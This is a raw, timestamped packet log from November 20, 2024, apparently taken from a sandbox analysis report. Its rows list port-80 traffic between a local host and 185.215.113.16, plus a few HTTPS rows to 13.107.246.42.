Nov 20, 2024 08:12:40.929207087 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929207087 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929246902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929260015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929270983 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929284096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929291964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929291964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929464102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929476976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929487944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929501057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929512024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929521084 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929521084 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929524899 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929538965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929549932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929562092 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929568052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929568052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929668903 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929760933 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929771900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929783106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929795027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929800034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929919004 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930033922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930046082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930057049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930082083 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930166006 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930177927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930191040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930202007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930212975 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930212975 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930325031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930335999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930347919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930362940 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930376053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930386066 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930386066 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930473089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930485010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930496931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930533886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930543900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930557013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930571079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930583954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930598021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.930598021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930598021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930598021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930624008 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.930965900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931011915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931021929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931027889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931139946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931149006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931150913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931163073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931185007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931204081 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931243896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931277037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931289911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931301117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931322098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931334019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931350946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931350946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931525946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931565046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931581974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931595087 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931674957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931687117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931699038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931710958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931716919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931741953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931900978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931914091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931926966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931938887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931940079 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931952000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931956053 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931965113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931982994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931996107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.931998968 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.931998968 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932008982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932151079 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932167053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932178974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932192087 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932204008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932226896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932226896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932509899 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932523012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932534933 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932559013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932564020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932573080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932610989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932610989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932635069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932647943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932655096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932706118 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932727098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932738066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932761908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932780027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932785988 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932795048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932812929 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932830095 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932830095 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.932952881 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932964087 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932971001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932976961 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932982922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.932995081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933191061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.933470964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933481932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933494091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933521032 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.933553934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933567047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933578968 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933590889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933609962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.933609962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.933634043 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.933710098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933731079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933753967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933765888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933779955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.933806896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.933806896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934071064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934082985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934094906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934114933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934159040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934170008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934182882 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934194088 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934197903 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934197903 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934292078 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934305906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934318066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934324026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934329987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934336901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934343100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934393883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934451103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934506893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934519053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934530973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934541941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934554100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934566975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.934573889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934597969 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934597969 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.934990883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935002089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935015917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935055971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935055971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935091972 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935103893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935116053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935127974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935144901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935168028 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935242891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935259104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935271978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935288906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935297966 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935301065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935321093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935357094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935358047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935358047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935379028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935432911 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935452938 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935470104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935482979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935493946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935511112 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935534000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935542107 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.935931921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935942888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935955048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.935976982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.936018944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936031103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936039925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.936044931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936057091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936069012 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.936156034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936167955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936181068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936193943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936206102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.936213970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.936213970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.936435938 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937499046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937511921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937529087 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937563896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937563896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937585115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937597036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937602997 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937683105 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937762976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937773943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937784910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937798023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937798977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937810898 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937824965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937851906 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937851906 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937861919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937872887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937889099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.937906027 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.937932968 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.940124035 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.940576077 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.940587997 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.941030025 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.941035986 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.951565027 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.952398062 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.952398062 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.952419996 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.952435970 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.954068899 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.954999924 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.958937883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.958961010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.958975077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.959000111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.959038973 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.959038973 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.959825039 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.959944010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.959961891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.959975004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.959986925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960035086 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960035086 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960062027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960073948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960088015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960098982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960112095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960123062 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960123062 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960303068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960314989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960328102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960339069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960352898 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960361958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960361958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960366011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960380077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960391998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960405111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960407019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960407019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960417986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960460901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960460901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960586071 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960639954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960652113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960737944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960750103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960762024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960773945 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960773945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960773945 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960932016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960944891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960957050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960968018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960978985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960978985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.960980892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.960994959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961008072 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961015940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961038113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961090088 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961100101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961112976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961149931 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961149931 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961219072 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961230993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961241961 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961253881 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961266994 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961266994 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961267948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961281061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961287022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961317062 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961317062 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961496115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961508989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961520910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961533070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961545944 CET	80	49833	185.215.113.16	192.168.2.6
